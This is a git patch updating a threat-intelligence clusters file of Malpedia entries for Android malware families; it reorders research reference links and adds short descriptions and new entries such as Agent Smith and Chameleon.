From a9a051ffaa874ce9c43ca5bd03ef49d04a7cab5a Mon Sep 17 00:00:00 2001 From: fl0x2208 Date: Tue, 26 Sep 2023 12:27:10 +1000 Subject: [PATCH 1/2] malpedia 2023 September update malpedia 2023 September update --- clusters/malpedia.json | 26806 +++++++++++++++++++++------------------ 1 file changed, 14666 insertions(+), 12140 deletions(-) diff --git a/clusters/malpedia.json b/clusters/malpedia.json index dc625e64..46f5e103 100644 --- a/clusters/malpedia.json +++ b/clusters/malpedia.json @@ -13,29 +13,29 @@ "name": "Malpedia", "source": "Malpedia", "type": "malpedia", - "uuid": "5fc98d08-90a4-498a-ad2e-0edf50ef374e", + "uuid": "1d1c9af9-37fa-4deb-a928-f9b0abc7354a", "values": [ { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/aix.fastcash", - "https://www.youtube.com/watch?v=LUxOcpIRxmg", - "https://www.cisa.gov/uscert/ncas/alerts/aa20-239a", - "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", - "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", - "https://www.us-cert.gov/ncas/alerts/TA18-275A", - "https://www.youtube.com/watch?v=zGvQPtejX9w", - "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf", - "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", - "https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", - "https://github.com/fboldewin/FastCashMalwareDissected/", - "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf", - "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/", - "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", - "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.cisa.gov/uscert/ncas/alerts/TA18-275A", "https://symantec-blogs.broadcom.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", - "https://www.cisa.gov/uscert/ncas/alerts/TA18-275A" + "https://www.us-cert.gov/ncas/alerts/TA18-275A", + "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud.pdf", + "https://github.com/fboldewin/FastCashMalwareDissected/", + "https://www.cisa.gov/uscert/ncas/alerts/aa20-239a", + "https://blog.talosintelligence.com/2019/05/10-years-of-virtual-dynamite.html", + "https://mal-eats.net/en/2021/05/11/campo_new_attack_campaign_targeting_japan/", + "https://i.blackhat.com/eu-20/Wednesday/eu-20-Rivera-From-Zero-To-Sixty-The-Story-Of-North-Koreas-Rapid-Ascent-To-Becoming-A-Global-Cyber-Superpower.pdf", + "https://www.symantec.com/blogs/threat-intelligence/fastcash-lazarus-atm-malware", + "https://www.cisa.gov/uscert/sites/default/files/publications/AA22-108A-TraderTraitor-North_Korea_APT_Targets_Blockchain_Companies.pdf", + "https://www.youtube.com/watch?v=zGvQPtejX9w", + "https://threatrecon.nshc.net/2019/01/23/sectora01-custom-proxy-utility-tool-analysis/", + "https://i.blackhat.com/USA-20/Wednesday/us-20-Perlow-FASTCash-And-INJX_Pure-How-Threat-Actors-Use-Public-Standards-For-Financial-Fraud-wp.pdf", + "https://blog.lexfo.fr/ressources/Lexfo-WhitePaper-The_Lazarus_Constellation.pdf", + "https://www.youtube.com/watch?v=LUxOcpIRxmg" ], "synonyms": [], "type": [] @@ -62,11 +62,11 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.aberebot", "https://blog.cyble.com/2022/03/10/aberebot-returns-as-escobar/", - "https://twitter.com/_icebre4ker_/status/1460527428544176128", "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://hothardware.com/news/escobar-banking-trojan-targets-mfa-codes", "https://www.bleepingcomputer.com/news/security/android-malware-escobar-steals-your-google-authenticator-mfa-codes/", - "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/" + "https://blog.cyble.com/2021/07/30/aberebot-on-the-rise-new-banking-trojan-targeting-users-through-phishing/", + "https://twitter.com/_icebre4ker_/status/1460527428544176128" ], "synonyms": [ "Escobar" @@ -77,13 +77,13 @@ "value": "Aberebot" }, { - "description": "", + "description": "According to PCrisk, AbstractEmu is the name of rooting malware that can gain privileged access to the Android operating system. Threat actors behind AbstractEmu are using legitimate-looking apps (like password managers, app launchers, data savers) to trick users into downloading and opening/executing this malware.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.abstract_emu", - "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", "https://blog.lookout.com/lookout-discovers-global-rooting-malware-campaign", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord" + "https://www.sentinelone.com/labs/the-art-and-science-of-macos-malware-hunting-with-radare2-leveraging-xrefs-yara-and-zignatures/" ], "synonyms": [], "type": [] @@ -96,8 +96,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.actionspy", - "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/", "https://www.trendmicro.com/en_us/research/20/f/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa.html", + "https://blog.trendmicro.com/trendlabs-security-intelligence/new-android-spyware-actionspy-revealed-via-phishing-attacks-from-earth-empusa/", "https://about.fb.com/news/2021/03/taking-action-against-hackers-in-china/" ], "synonyms": [ @@ -137,14 +137,27 @@ }, { "description": "", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.agentsmith", + "https://research.checkpoint.com/2019/agent-smith-a-new-species-of-mobile-malware/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "34770e6e-e2c3-4e45-aa86-9d74b5309773", + "value": "Agent Smith" + }, + { + "description": "According to PCrisk, Ahmyth is a Remote Access Trojan (RAT) targeting Android users. It is distributed via trojanized (fake) applications. Ahmyth RAT steals cryptocurrency and banking credentials, 2FA codes, lock screen passcodes, and captures screenshots.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.ahmyth", + "https://www.secrss.com/articles/24995", "https://mp.weixin.qq.com/s/J_A12SOX0k5TOYFAegBv_w", "https://securelist.com/transparent-tribe-part-2/98233/", - "https://www.secrss.com/articles/24995", - "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", - "https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/" + "https://www.welivesecurity.com/2019/08/22/first-spyware-android-ahmyth-google-play/", + "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset" ], "synonyms": [], "type": [] @@ -157,18 +170,18 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.alien", - "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://info.phishlabs.com/blog/alien-mobile-malware-evades-detection-increases-targets", - "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", - "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", - "https://drive.google.com/file/d/1qd7Nqjhe2vyGZ5bGm6gVw0mM1D6YDolu/view?usp=sharing", - "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", - "https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/", - "https://twitter.com/_CPResearch_/status/1603375823448317953", "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://drive.google.com/file/d/1qd7Nqjhe2vyGZ5bGm6gVw0mM1D6YDolu/view?usp=sharing", + "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", + "https://info.phishlabs.com/blog/alien-mobile-malware-evades-detection-increases-targets", + "https://research.checkpoint.com/2021/clast82-a-new-dropper-on-google-play-dropping-the-alienbot-banker-and-mrat/", + "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", + "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", + "https://twitter.com/_CPResearch_/status/1603375823448317953", + "https://muha2xmad.github.io/malware-analysis/alien/", + "https://www.bleepingcomputer.com/news/security/google-predator-spyware-infected-android-devices-using-zero-days/", "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace", - "https://muha2xmad.github.io/malware-analysis/alien/" + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/" ], "synonyms": [ "AlienBot" @@ -200,22 +213,23 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anatsa", - "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", - "https://twitter.com/ThreatFabric/status/1394958795508523008", - "https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/", - "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", - "https://twitter.com/_icebre4ker_/status/1416409813467156482", - "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", - "https://gbhackers.com/teabot-banking-trojan/", - "https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe", - "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", "https://labs.k7computing.com/index.php/play-store-app-serves-teabot-via-github/", - "https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html", - "https://www.prodaft.com/m/reports/Toddler___TLPWHITE_V2.pdf", - "https://www.cleafy.com/documents/teabot", - "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", "https://www.buguroo.com/hubfs/website/pdf/reports/buguroo-malware-report-Toddler_EN.pdf", - "https://labs.k7computing.com/?p=22407" + "https://www.threatfabric.com/blogs/anatsa-hits-uk-and-dach-with-new-campaign", + "https://www.telekom.com/en/blog/group/article/flubot-under-the-microscope-636368", + "https://twitter.com/_icebre4ker_/status/1416409813467156482", + "https://twitter.com/ThreatFabric/status/1394958795508523008", + "https://www.cleafy.com/documents/teabot", + "https://www.cleafy.com/cleafy-labs/teabot-is-now-spreading-across-the-globe", + "https://blog.nviso.eu/2021/05/11/android-overlay-attacks-on-belgian-financial-applications/", + "https://www.threatfabric.com/blogs/deceive-the-heavens-to-cross-the-sea.html", + "https://www.threatfabric.com/blogs/smishing-campaign-in-nl-spreading-cabassous-and-anatsa.html", + "https://thehackernews.com/2022/01/widespread-flubot-and-teabot-malware.html", + "https://gbhackers.com/teabot-banking-trojan/", + "https://labs.k7computing.com/?p=22407", + "https://www.bitdefender.com/blog/labs/new-flubot-and-teabot-global-malware-campaigns-discovered", + "https://labs.bitdefender.com/2021/06/threat-actors-use-mockups-of-popular-apps-to-spread-teabot-and-flubot-malware-on-android/", + "https://www.prodaft.com/m/reports/Toddler___TLPWHITE_V2.pdf" ], "synonyms": [ "ReBot", @@ -232,16 +246,16 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.androrat", + "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", "https://github.com/DesignativeDave/androrat", - "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset", + "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-command-line-androrat", "https://www.stratosphereips.org/blog/2021/3/29/dissecting-a-rat-analysis-of-the-androrat", "https://hotforsecurity.bitdefender.com/blog/possibly-italy-born-android-rat-reported-in-china-find-bitdefender-researchers-16264.html", - "https://www.stratosphereips.org/blog/2021/5/6/dissecting-a-rat-analysis-of-the-command-line-androrat", - "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", - "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", - "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg", "https://www.kaspersky.com/blog/mobile-malware-part-4/24290/", - "https://mp.weixin.qq.com/s/AhxP5HmROtMsFBiUxj0cFg" + "https://www.bitdefender.com/files/News/CaseStudies/study/352/Bitdefender-PR-Whitepaper-BitterAPT-creat4571-en-EN-GenericUse.pdf", + "https://blog.talosintelligence.com/2022/05/bitter-apt-adds-bangladesh-to-their.html", + "https://www.stratosphereips.org/blog/2020/11/10/android-mischief-rats-dataset" ], "synonyms": [], "type": [] @@ -254,34 +268,34 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubis", - "https://www.fortinet.com/blog/threat-research/a-look-into-the-new-strain-of-bankbot.html", - "https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html", - "https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/", - "https://0x1c3n.tech/anubis-android-malware-analysis", - "https://securelist.com/mobile-malware-evolution-2019/96280/", - "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", - "https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/", - "https://pentest.blog/n-ways-to-unpack-mobile-malware/", - "https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/", - "http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html", - "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/", - "http://blog.koodous.com/2017/05/bankbot-on-google-play.html", - "https://securityaffairs.co/wordpress/133115/hacking/anubis-networks-new-c2.html", - "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", - "https://intel-honey.medium.com/reversing-anubis-malware-93f28d154bbb", - "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/ ", - "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", - "https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/", - "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", + "https://assets.virustotal.com/reports/2021trends.pdf", "https://muha2xmad.github.io/malware-analysis/anubis/", - "http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html", - "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", - "https://community.riskiq.com/article/85b3db8c", - "https://www.fortinet.com/blog/threat-research/bankbot-the-prequel.html", - "https://n1ght-w0lf.github.io/malware%20analysis/anubis-banking-malware/", "https://www.youtube.com/watch?v=U0UsfO-0uJM", + "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://securityintelligence.com/after-big-takedown-efforts-20-more-bankbot-mobile-malware-apps-make-it-into-google-play/", + "http://blog.koodous.com/2017/05/bankbot-on-google-play.html", + "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/ ", + "http://b0n1.blogspot.de/2017/05/tracking-android-bankbot.html", + "https://labs.bitdefender.com/2020/03/android-apps-and-malware-capitalize-on-coronavirus", + "https://www.welivesecurity.com/2017/11/21/new-campaigns-spread-banking-malware-google-play/", + "https://www.fortinet.com/blog/threat-research/bankbot-the-prequel.html", + "http://blog.koodous.com/2017/04/decrypting-bankbot-communications.html", "https://info.phishlabs.com/blog/new-variant-bankbot-banking-trojan-aubis", - "https://assets.virustotal.com/reports/2021trends.pdf" + "https://www.threatfabric.com/blogs/the-rage-of-android-banking-trojans.html", + "https://community.riskiq.com/article/85b3db8c", + "https://sysopfb.github.io/malware,/reverse-engineering/2018/08/30/Unpacking-Anubis-APK.html", + "https://n1ght-w0lf.github.io/malware%20analysis/anubis-banking-malware/", + "https://securelist.com/mobile-malware-evolution-2019/96280/", + "https://www.fortinet.com/blog/threat-research/a-look-into-the-new-strain-of-bankbot.html", + "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", + "https://eybisi.run/Mobile-Malware-Analysis-Tricks-used-in-Anubis/", + "https://blog.trendmicro.com/trendlabs-security-intelligence/google-play-apps-drop-anubis-banking-malware-use-motion-based-evasion-tactics/", + "https://0x1c3n.tech/anubis-android-malware-analysis", + "https://securityaffairs.co/wordpress/133115/hacking/anubis-networks-new-c2.html", + "https://intel471.com/blog/china-cybercrime-undergrond-deepmix-tea-horse-road-great-firewall/", + "https://securityboulevard.com/2018/09/android-malware-intercepts-sms-2fa-we-have-the-logs/", + "https://intel-honey.medium.com/reversing-anubis-malware-93f28d154bbb", + "https://pentest.blog/n-ways-to-unpack-mobile-malware/" ], "synonyms": [ "BankBot", @@ -298,8 +312,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.anubisspy", - "https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf", - "http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/" + "http://blog.trendmicro.com/trendlabs-security-intelligence/cyberespionage-campaign-sphinx-goes-mobile-anubisspy/", + "https://documents.trendmicro.com/assets/tech-brief-cyberespionage-campaign-sphinx-goes-mobile-with-anubisspy.pdf" ], "synonyms": [], "type": [] @@ -348,7 +362,7 @@ "value": "ATANK" }, { - "description": "", + "description": "remote access tool (RAT) payload on Android devices", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.badcall", @@ -376,16 +390,16 @@ "value": "BadPatch" }, { - "description": "", + "description": "According to PCrisk, Bahamut is the name of Android malware with spyware functionality. Threat actors use Bahamut to steal sensitive information. The newest malware version targets various messaging apps and personally identifiable information.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bahamut", - "https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/", - "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/", "https://blog.trendmicro.com/trendlabs-security-intelligence/the-urpage-connection-to-bahamut-confucius-and-patchwork/", + "https://www.bellingcat.com/news/mena/2017/06/12/bahamut-pursuing-cyber-espionage-actor-middle-east/", "https://blog.cyble.com/2022/06/29/bahamut-android-malware-returns-with-new-spying-capabilities/", - "https://www.welivesecurity.com/2022/11/23/bahamut-cybermercenary-group-targets-android-users-fake-vpn-apps/", "https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-spark-bahamut.pdf", + "https://www.welivesecurity.com/2022/11/23/bahamut-cybermercenary-group-targets-android-users-fake-vpn-apps/", + "https://www.bellingcat.com/resources/case-studies/2017/10/27/bahamut-revisited-cyber-espionage-middle-east-south-asia/", "https://mp.weixin.qq.com/s/YAAybJBAvxqrQWYDg31BBw" ], "synonyms": [], @@ -400,8 +414,8 @@ "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.basbanke", "https://securelist.com/basbanke-trend-setting-brazilian-banking-trojan/90365/", - "https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/#.YHTDZS2tEUE", - "https://twitter.com/LukasStefanko/status/1280243673100402690" + "https://twitter.com/LukasStefanko/status/1280243673100402690", + "https://seguranca-informatica.pt/hackers-are-again-attacking-portuguese-banking-organizations-via-android-trojan-banker/#.YHTDZS2tEUE" ], "synonyms": [], "type": [] @@ -414,12 +428,12 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.bianlian", - "https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html", "https://www.youtube.com/watch?v=DPFcvSy4OZk", "https://cryptax.medium.com/multidex-trick-to-unpack-android-bianlian-ed52eb791e56", + "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", "https://www.fortinet.com/blog/threat-research/new-wave-bianlian-malware.html", "https://cryptax.medium.com/creating-a-safe-dummy-c-c-to-test-android-bots-ffa6e7a3dce5", - "https://cryptax.medium.com/bianlian-c-c-domain-name-4f226a29e221", + "https://www.threatfabric.com/blogs/bianlian_from_rags_to_riches_the_malware_dropper_that_had_a_dream.html", "https://cryptax.medium.com/android-bianlian-payload-61febabed00a", "https://cryptax.medium.com/quick-look-into-a-new-sample-of-android-bianlian-bc5619efa726" ], @@ -432,7 +446,7 @@ "value": "BianLian (Android)" }, { - "description": "", + "description": "According to PCrisk, BraDex is a banking malware targeting Android operating systems. This malicious program aims to gain access to victims' bank accounts and make fraudulent transactions.\r\n\r\nAt the time of writing, BrasDex targets Brazilian banking applications exclusively. In previous BrasDex campaigns, it infiltrated devices under the guise of Android system related apps. Lately, this malware has been installed by a fake Brazilian Banco Santander banking application.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brasdex", @@ -445,16 +459,16 @@ "value": "BrasDex" }, { - "description": "", + "description": "According to Cleafy, the victim's Android device is factory reset after the attackers siphon money from the victim's bank account. This distracts users from the crime, while removing traces or footprints that might be of interest to forensic analysts.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brata", - "https://securelist.com/spying-android-rat-from-brazil-brata/92775/", "https://www.cleafy.com/cleafy-labs/how-brata-is-monitoring-your-bank-account", - "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://www.cleafy.com/cleafy-labs/mobile-banking-fraud-brata-strikes-again", + "https://securelist.com/spying-android-rat-from-brazil-brata/92775/", "https://www.threatfabric.com/blogs/brata-a-tale-of-three-families.html", - "https://www.cleafy.com/cleafy-labs/brata-is-evolving-into-an-advanced-persistent-threat", - "https://www.cleafy.com/cleafy-labs/mobile-banking-fraud-brata-strikes-again" + "https://www.advintel.io/post/economic-growth-digital-inclusion-specialized-crime-financial-cyber-fraud-in-latam", + "https://www.cleafy.com/cleafy-labs/brata-is-evolving-into-an-advanced-persistent-threat" ], "synonyms": [ "AmexTroll" @@ -469,8 +483,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.brunhilda", - "https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud", "https://www.threatfabric.com/blogs/the-attack-of-the-droppers.html", + "https://www.cleafy.com/cleafy-labs/the-android-malwares-journey-from-google-play-to-banking-fraud", "https://www.prodaft.com/m/reports/BrunHilda_DaaS.pdf" ], "synonyms": [], @@ -493,12 +507,13 @@ "value": "BusyGasper" }, { - "description": "", + "description": "According to PCrisk, CapraRAT is the name of an Android remote access trojan (RAT), possibly a modified version of another (open-source) RAT called AndroRAT. It is known that CapraRAT is used by an advanced persistent threat group (ATP) called APT36 (also known as Earth Karkaddan). CapraRAT allows attackers to perform certain actions on the infected Android device.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.capra_rat", "https://www.welivesecurity.com/2023/03/07/love-scam-espionage-transparent-tribe-lures-indian-pakistani-officials/", - "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html" + "https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html", + "https://www.sentinelone.com/labs/capratube-transparent-tribes-caprarat-mimics-youtube-to-hijack-android-phones/" ], "synonyms": [], "type": [] @@ -524,8 +539,8 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.catelites", - "https://www.youtube.com/watch?v=1LOy0ZyjEOk", - "https://blog.avast.com/new-version-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang" + "https://blog.avast.com/new-version-of-mobile-malware-catelites-possibly-linked-to-cron-cyber-gang", + "https://www.youtube.com/watch?v=1LOy0ZyjEOk" ], "synonyms": [], "type": [] @@ -534,30 +549,30 @@ "value": "Catelites" }, { - "description": "", + "description": "According to PCrisk, Cerberus is an Android banking Trojan which can be rented on hacker forums. It was been created in 2019 and is used to steal sensitive, confidential information. Cerberus can also be used to send commands to users' devices and perform dangerous actions.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.cerberus", - "https://www.biznet.com.tr/wp-content/uploads/2020/08/Cerberus.pdf", - "https://go.recordedfuture.com/hubfs/reports/cta-2020-1016.pdf", "https://www.threatfabric.com/blogs/ermac-another-cerberus-reborn.html", - "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html", - "https://nur.pub/cerberus-analysis", - "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", - "https://securelist.com/the-state-of-stalkerware-in-2021/106193/", "https://blog.cyberint.com/cerberus-is-dead-long-live-cerberus", - "https://labs.bitdefender.com/2020/09/apps-on-google-play-tainted-with-cerberus-banker-malware/", - "https://insights.oem.avira.com/in-depth-analysis-of-a-cerberus-trojan-variant/", - "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", - "https://github.com/ics-iot-bootcamp/cerberus_research", "https://www.forbes.com/sites/zakdoffman/2019/08/16/dangerous-new-android-trojan-hides-from-malware-researchers-and-taunts-them-on-twitter/", - "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", "https://www.threatfabric.com/blogs/2020_year_of_the_rat.html", + "https://www.slideshare.net/codeblue_jp/cb19-cyber-threat-landscape-in-japan-revealing-threat-in-the-shadow-by-chi-en-shen-ashley-oleg-bondarenko", + "https://insights.oem.avira.com/in-depth-analysis-of-a-cerberus-trojan-variant/", + "https://preyproject.com/blog/en/cerberus-and-alien-the-malware-that-has-put-android-in-a-tight-spot/", + "https://www.biznet.com.tr/wp-content/uploads/2020/08/Cerberus.pdf", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/04/12075509/EN_The-State-of-Stalkerware-2021.pdf", + "https://www.threatfabric.com/blogs/cerberus-a-new-banking-trojan-from-the-underworld.html", "https://www.threatfabric.com/blogs/alien_the_story_of_cerberus_demise.html", "https://community.riskiq.com/article/85b3db8c", - "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2022/04/12075509/EN_The-State-of-Stalkerware-2021.pdf", + "https://github.com/ics-iot-bootcamp/cerberus_research", + "https://bushidotoken.blogspot.com/2020/05/turkey-targeted-by-cerberus-and-anubis.html", + "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace", + "https://go.recordedfuture.com/hubfs/reports/cta-2020-1016.pdf", + "https://nur.pub/cerberus-analysis", "https://twitter.com/AndroidCerberus", - "https://resecurity.com/blog/article/in-the-box-mobile-malware-webinjects-marketplace" + "https://securelist.com/the-state-of-stalkerware-in-2021/106193/", + "https://labs.bitdefender.com/2020/09/apps-on-google-play-tainted-with-cerberus-banker-malware/" ], "synonyms": [], "type": [] @@ -565,14 +580,27 @@ "uuid": "c3a2448f-bb41-4201-b524-3ddcb02ddbf4", "value": "Cerberus" }, + { + "description": "The malware chamaleon is an Android trojan that pretends to be legitimate entities to steal data from users in Australia and Poland. It exploits the Accessibility Service to monitor and modify the device screen.", + "meta": { + "refs": [ + "https://malpedia.caad.fkie.fraunhofer.de/details/apk.chameleon", + "https://blog.cyble.com/2023/04/13/chameleon-a-new-android-malware-spotted-in-the-wild/" + ], + "synonyms": [], + "type": [] + }, + "uuid": "90b3a256-311d-416b-b333-e02b910ba75d", + "value": "Chameleon" + }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.chamois", - "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-unpacking-packed-unpacker-reversing-android-anti-analysis-native-library/", + "https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html", "https://github.com/maddiestone/ConPresentations/blob/master/KasperskySAS2019.Chamois.pdf", - "https://android-developers.googleblog.com/2017/03/detecting-and-eliminating-chamois-fraud.html" + "https://www.virusbulletin.com/virusbulletin/2019/01/vb2018-paper-unpacking-packed-unpacker-reversing-android-anti-analysis-native-library/" ], "synonyms": [], "type": [] @@ -585,10 +613,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/apk.charger", + "http://blog.checkpoint.com/2017/01/24/charger-malware/", "http://blog.joesecurity.org/2017/01/deep-analysis-of-android-ransom-charger.html", - "https://www.welivesecurity.com/wp-content/uploads/2019/02/ESET_Android_Banking_Malware.pdf", "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-january-14-29-2017", - "http://blog.checkpoint.com/2017/01/24/charger-malware/" + "https://www.welivesecurity.com/wp-content/uploads/2019/02/ESET_Android_Banking_Malware.pdf" ], "synonyms": 